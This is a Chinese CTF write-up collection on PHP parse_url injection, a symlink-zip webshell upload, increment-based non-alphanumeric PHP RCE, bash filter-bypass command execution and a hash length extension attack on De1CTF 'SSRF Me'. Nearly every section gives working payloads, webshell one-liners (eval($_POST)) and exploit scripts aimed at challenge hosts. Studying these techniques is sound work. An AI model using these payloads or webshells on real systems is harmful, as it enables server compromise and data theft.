目录
PARSE_URL
parse_url(参数1,参数2)
参数1,必填 ,是一个完整的URL,如果不完整,函数会模糊补全。
参数2,非必填,是一个大写参数变量,直接获取结果集的某一部分。
参数2的可选值:
PHP_URL_SCHEME,
PHP_URL_HOST,
PHP_URL_PORT,
PHP_URL_USER,
PHP_URL_PASS,
PHP_URL_PATH,
PHP_URL_QUERY ,
PHP_URL_FRAGMENT.
schema://user:pass@host:123/path?query#fragment
$url = "https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu#id";
$arr = parse_url($url);
print_r($arr);
输出结果:Array ( [scheme] => https [host] => www.baidu.com [path] => /s [query] => ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu [fragment] => id )
1
$data = parse_url($_GET['u']);
eval($data['host']);
?u=http://system("ls");
?u=http://system("ls /");
?u=http://system("cd ..;cd ..;cd ..;tac flag_is_here.txt");
2
$data = parse_url($_GET['u']);
include $data['host'].$data['path'];
include 使用文件包含
在host和path的位置构造
data://text/plain;base64,<?php phpinfo();?>
http://data://text/plain;base64,<?php phpinfo();?>
这里的命令需要base64进行加密
最终的payload:
ls
?u=http://data:://text/plain;base64,PD9waHAgc3lzdGVtKCJscyAvIik7Pz4=
cat
?u=http://data:://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgL19mMWFnXzFzX2gzcmUudHh0Iik7Pz4=
如果不能执行命令,将payload进行url编码
3
$data = parse_url($_GET['u']);
include $data['scheme'].$data['path'];
和上一关大同小异,只是位置不同
?u=data:://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgL19mMWFfZ18xc19oM3JlIik7Pz4=
4
$data = parse_url($_GET['u']);
system($data['host']);
?u=http://cd ..;cd ..;cd ..;tac 1_f1ag_1s_h3re/1
5
extract(parse_url($_GET['u']));
include $$$$$$host;
<?php
$u = "user://pass:query@scheme:111/path?fragment#data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==";
$data = parse_url($u);
extract(parse_url($u));
echo "\n";
print_r($data);
echo $scheme."\n";
echo $host."\n";
echo $user."\n";
echo $pass."\n";
echo $query."\n";
echo $fragment."\n";
echo $$$$$$host;
//$host -> scheme
//$$host = schme -> user
//$$$host = user -> pass
//$$$$host = pass -> query
//$$$$$host = query -> fragment
//$$$$$$host = fragment -> 最终命令
在fragment处写命令,同样base64加密
<?php system("ls /"); ?>
<?php system("tac /_f1ag_1s_h3ree"); ?>
?u=user://pass:query@scheme:111/path?fragment#data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgL19mMWFnXzFzX2gzcmVlIik7ID8+
url编码
?u=user%3A%2F%2Fpass%3Aquery%40scheme%3A111%2Fpath%3Ffragment%23data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCJ0YWMgL19mMWFnXzFzX2gzcmVlIik7ID8%2B
6
$data = parse_url($_GET['u']);
file_put_contents($data['path'], $data['host']);
file_put_contents();
上传一句话木马
由于?会被解析成query,所以需要更换php标签,这里用的js,由于path中一定会有/,所以选择绝对路径上传,这里路径猜测默认路径
构造payload:
?u=http://<script language="php"> eval($_POST[1]);/var/www/html/1.php
UNZIP
打开一个文件上传,那我们就传传
发现不管传什么,都会返回以下代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
分析一下
使用 finfo_open 和 finfo_file 函数获取到上传文件的 MIME type,如果 MIME type 是 application/zip,就执行 unzip 命令将上传的 zip 文件解压到 /tmp 目录下。
文件上传,如果传上去的是zip压缩包,网站执行unzip命令解压。没有文件读取漏洞,不能直接传php。
考虑使用软连接,
什么是软连接呢,就是可以将某个目录连接到另一个目录或者文件下,那么我们以后对这个目录的任何操作,都会作用到另一个目录或者文件下。
那么方向就很明显了,我们可以先上传一个带有软连接的压缩包,这个软连接指向网站的根目录,即/var/www/html,然后我们再上传一个带有马的文件的压缩包,就可以将这个带马文件压缩到网站的根目录下,我们也可以直接访问这个带马文件了
首先单独创造一个文件夹,然后利用下述命令创建软连接的压缩包:
关键命令:
ln -s /var/www/html link
zip --symlinks link.zip link
然后删除link(防止与文件夹重名)这个文件,创建一个名为link的文件夹,然后在这个文件夹下写入带马的Php文件(因为之前我们软连接的文件叫做link,所以我们要让这个压缩在这个文件夹下面),然后先返回上一级目录,将这个带马的文件进行压缩:
# shell.php
<?php @eval($_POST['cmd']); ?>
先上传link.zip,然后再上传link1.zip
就可以直接访问shell.php进行利用了
RCE极限挑战
自增
在ctf中主要就是用于命令执行的无参执行
<?php
//这里定义$a='a';
$a = 'a';
$a++;
echo $a; //b
$b = 'b';
$b--;
echo $b; //b
我们定义一个a的变量,赋值为a,进行自增之后就是变成b了,这里是根据ascii,来自增的,但是这里我们要知道PHP的ascii是不能自减的,应该是。
a的ascii码是61,++就是相当于+1,然后就变成62,62对应的ascii码就是就是b
接下来,来分析一个基础的自增马,给大家先看看
<?php
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__=''; //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E 把两个短杠赋值为E
$_=++$_; //F 一个短杠继续自增
$_=++$_; //G
$__=$_.$__; // GE 一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);
首先自增主要用于无参执行,所以通常都是没什么东西可以用的,通常就是上面这些。
接下给大家分析一下, 我们都知道在PHP当中我们定义一个数组的时候,直接用echo或printf之类返回的时候他就会输出Array,只有使用var_dump()的时候才是输出数组的内容。
但是这里我们要知道他返回,但是这只是他的返回值,我们还不能使用,因为他现在还不是字符串,我们要使用英语的句号,来进行拼接,这样他就是字符串了,且赋值给了变量_,这样我们才能使用它,当然并不一定是[].[],才行,我们可以拼接很多东西都可以,例如这里就可以拼接,[]._ 也是可以的
然后下面我们要用索引来取A了,当然取其他的也是可以的,$_['']和$_[0]是一样的,使用$_[_]也是一样的
然后在这前面我们还要了解一下这些东西。
PHP在进行计算的时候认为结果是无限大时他会返回结果是:INF ( Infinite)
这里举个列:echo (1/0); //就会输出INF
当然这里提醒一下,无限小数是不行的,举例: echo (1/3); //不会返回INF
PHP进行计算的时候认为一个数超出Infinite,那就是: NAN( not-a-number)
这里举个例:echo (a/a); //就会输出NAN
要问他有什么用,这就要看上面的数组嘞,也是要取里面的字母。
1
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
过滤了括号和点号
很简单
内联执行
code=?><?=`ls /`; //反引号实际上是使用shell_exec()函数
利用反引号执行命令 echo输出
code=echo `ls /`;
2
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
我们跑一下 看看哪些字符没有被过滤
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}
有这些:! $ ' ( ) + , . / ; = [ ] _
可以考虑$_绕过!(自增绕过)
//这是这一题做出来的所用的
$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$___='_';$___.=$__;($$___[_])($$___[__]);
ctf_show=%24_%3D%5B%5D.%5B%5D%3B%24__%3D%27%27%3B%24_%3D%24_%5B%27%27%5D%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24__.%3D%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24__%3D%24_.%24__%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24_%3D%2B%2B%24_%3B%24__.%3D%24_%3B%24___%3D%27_%27%3B%24___.%3D%24__%3B%28%24%24___%5B_%5D%29%28%24%24___%5B__%5D%29%3B
//然后get传_=system&__=ls
3
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
还是老样子用脚本先看看有哪些没被禁。
$ ( ) + , . / 0 1 ; = [ ] _ //比上面多了不少东西
要保证构造payload长度小于105
而且还是自增rce
使用A的话构造GET肯定是无法小于105 那么可以尝试构造POST _/_ == NAN
$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);
//执行这一串就可以了
ctf_show=%24_%3D%28%5B%5D.%5B%5D%29%5B0%5D%3B%24_%3D%28%24_/%24_.%24_%29%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D%28%24%24_%5B1%5D%29%3B&_=system&1=ls
<?php
$_=([].[])[0];
//这里就是上面的数组拼接,强制返回ArrayArray, 取第一个A
$_=($_/$_.$_)[0];
//这里是关键php的计算上面有说,其实这里麻烦了,只是当时不知道, 这里返回 N
$_++; //O
$__=$_.$_++;
//这里是进行了++的,所以$_等于P, $__=PO, 其实这里才是第五题的关键嘿嘿,很多74的就是卡在这
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里最后一个也是进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[1]); // $_POST[_]($_POST[1]);
4
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
老样子先看过滤
$ ( ) + , . / 0 ; = [ ] _
就少了一个1,但是1感觉用到的也少
$_=((0/0).[])[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[0]);
//这样提交就可以了
ctf_show=%24_%3D%28%280/0%29.%5B%5D%29%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D%28%24%24_%5B0%5D%29%3B&_=system&0=ls
<?php
$_=((0/0).[])[0];
//这里是关键php的计算上面有说,其实这里麻烦了,只是当时不知道, 这里返回 N
$_++; //O
$__=$_.$_++; // $__=PO, 其实这里才是第五题的关键嘿嘿,很多74的就是卡在这
$_++; // Q
$_++; // R
$_++; // S
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);
5
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
先看看过滤
$ ( ) + , . / ; = [ ] _
直接使用_POST当做参数
$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
第一个参数:_POST 第二个参数:_
极限命令执行
1
<?php
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
}
}
?>
没过滤a ?
通过通配符的方式
centos7的环境是可以直接使用/执行文件的
构造
/bin/base64 /flag
ctf_show=/???/?a??64%09/??a?
ctf_show=/?????a?
2
<?php
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
里面是先经过check,然后才进去system中
check应该是过滤的东西,当我们测试时,它会返回?,可以写个脚本看看有哪些可以用
import requests
#这里填写自己的靶机网址
url = "http://40e404d6-3af3-401c-b11c-9e48298fd1ce.challenge.ctf.show/"
str= ""
for i in range(255):
data = {'ctf_show':chr(i)}
retext = requests.post(url,data=data).text
if "??????" in retext:
print(1)
else:
str += chr(i)
print(str)
用$‘\xxx’的方式执行命令 ,xxx是ascii字母的8进制值(octal),比如ls=$’\154\163’
但是不能解析带有参数的命令,比如cat flag这类
提示直接运行/getflag
payload:
ctf_show=$'\57\147\145\164\146\154\141\147'
3
<?php
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
代码一样,那再跑跑
禁用了除了01
以外的数字
这里需要理解bash对于整数的表示形式是[base#]n
的形式,比方说如果一个十进制数4,可以表示为二进制数100,那么在bash里可以表示为2#100
。
用$(())包起来,表示计算。
所以在现有条件下,我们只要通过位运算$((1<<1))
构造出2,就可以通过这种形式来构造任意数字了,比方说ls
就是$(($((1<<1))#10011010)) $(($((1<<1))#10100011))
,但是我们又遇到一个新的问题,$'\154\163'
这种形式可以,而直接运行$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'会报错
可以看出,bash是确实把$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
这一串字符串解析为$'\154\163'
这个形式了,但是没有进一步解析,也就是经过bash的处理,这一段字符变成了$'\154\163'
而没有变成ls
。
这里引入bash的一个语法<<<
三个小于号(here-strings),语法:command [args] <<<["]$word["];$word会展开并作为command的stdin。
所以只要把这个字符串作为$0
(bash)命令的stdin,就可以执行命令了
比如:bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
但是这里又遇到一个新的问题,这种命令形式不支持带参数的复杂命令,仅支持不带参数的命令,而这题开始没有/getflag
了
这里是因为bash把这一个字符串当作整体,而没有把空格作为分隔符正确解析,所以,我们可以通过两次here-strings的方法来解析复杂的带参数命令cat /flag
:
# 因为要避免出现空格,所以第一个\去掉了
a = r"143\141\164\40\57\146\154\141\147" # cat /flag
b = a.split("\\")
str = ""
for i in b:
if i != "\\":
str += "\\\\$(($((1<<1))#" + format(int(i), 'b') + "))"
else:
str += "\\\\"
print("$0<<<$0\<\<\<$\\'" + str + "\\'")
payload:ctf_show=$0<<<$0\<\<\<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
4
<?php
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
老样子使用python跑一下正则
不能使用1了,但是可以通过简单的替换,把1
换成${##}
即可,其余与上一题一致。
#
是计算字符串长度,两个#
中,第一个#是计算字符串长度 第二个#是字符串的名字。$#的值是0,字符串长度为1,所以${##}
是1
可以直接换,也可以没事写个脚本换
# 第三题payload将取中间部分,就是$0<<<$0\<\<\<$\'后面的部分到\'
a = "\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))"
str = ""
for i in a:
if i == "\\":
i = "\\\\"
str += i
else:
if i == "1":
i = "${##}"
str += i
else:
str += i
print("$0<<<$0\<\<\<$\\'"+str+"\\'")
ctf_show=$0<<<$0\<\<\<$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
5
<?php
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
还是使用脚本先跑一下正则
这一题其实只比上面的多了两个个知识点:
1、是${!xxx}
的用法,举一个很简单的例子:
所以其实在这里,只要想办法构造一个变量,变量值是0,就可以很容易的拿到$0
了
通过定义一个__=$(())
的方式将__
变量的值设置为0,然后通过${!__}
的形式拿到sh
字符。两条命令间通过&&
进行连接。至于为什么是两个下划线,是因为bash的变量命名规范是以下划线或者英文字母开头,可以包含下划线和英文字母数字。
2、是~
操作,#
被禁用,~
是按位取反操作,我们可以通过$(())
取到0,然后对0进行按位取反,可以得到-1,很多个-1进行排列 可以得到-2、-3、-4、-5、-6、-7、-8,然后再按位取反就可以得到1、2、3、4、5、6、7
echo $((~$(()))) -1
echo $(($((~$(())))$((~$(( )))))) -2
echo $((~$(($((~$(())))$((~$(()))))))) 1
这样我们就得到了8进制命令拼接的所有数字了。
ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
import requests
url="http://45c1ba32-a100-4fdb-b75c-2adba376e107.challenge.ctf.show/"
cmd='cat /flag'
r = {}
x='$((~$(())))'#-1
for i in range(1,9):
r[i]='$((~$(('+x
for j in range(i):
r[i]+=x
r[i]+='))))'
r[0]='$(())'
payload='__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
payload+='\\\\'
for i in oct(ord(c))[2:]:
payload+=r[int(i)]
payload+='\\\''
r=requests.post(url,data={"ctf_show":payload,})
print(r.text)
[De1CTF 2019]SSRF Me BUU
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
代码流程比较清晰,先声明了一个Task类,绑定了若干个路由,声明了几个函数。我们访问/De1ta,并传参,服务端把我们传入的参数经过waf()函数处理后,构造一个Task的对象。
有三个路由分别是:
/geneSign
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
用于生产签名,通过调用getSign函数
/De1ta
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
获取cookie的action,sign和get的param值,param值要通过waf验证,调用task类,并调用Exec方法,最后以json形式返回结果。
/
@app.route('/')
def index():
return open("code.txt","r").read()
获取首页源码
getSign函数
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
将secert_key 、 param 和 action拼接在一起,返回MD5加密的结果
waf函数
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
找到以gopher或file开头的,结合上面的路由即是将这两个协议过滤掉了
再看Exec方法
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
判断action里是否有scan,如果有的话则将scan读到的内容写进result.txt;如果read在action里,则将result.txt的内容读出来。
分析完代码我们发现getSign默认只生成action为scan的签名,我们可以利用将flag.txt的内容读到result.txt里,如果我们想要将result.txt的内容读出来则需要伪造一个action为read的签名
我们可以利用哈希长度扩展攻来构造签名
首先访问:/geneSign
获取签名
87ee5c8e1eb17706dced1bf79c5b9855
又因为:secert_key + ‘flag.txt’ 的长度为24
利用hashpump
获取sign和action:
把\x替换为%
去/De1ta请求获取flag.txt文件
python编写的exp:
import requests
url = 'http://3b5d8ace-3f97-4ba2-8f54-41af4545241f.node4.buuoj.cn:81/De1ta?param=flag.txt'
cookies = {
'sign': '935cde2c323cd0ed9e7d70a04a284039',
'action': "scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read"
}
res = requests.get(url=url, cookies=cookies)
print(res.text)